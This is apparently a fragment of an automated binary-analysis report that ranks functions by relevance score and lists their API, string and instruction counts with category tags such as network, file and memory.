filenetworkCOMMON

Function 008F1000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 008F2067 Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 010F56C8 Relevance: 39.2, APIs: 26, Instructions: 234
memorystringCOMMON

Function 010F7AF1 Relevance: 19.6, APIs: 13, Instructions: 126
networkstringCOMMON

Function 010F7F35 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 010F661D Relevance: 16.7, APIs: 11, Instructions: 151
timememoryCOMMON

Function 010F76BB Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON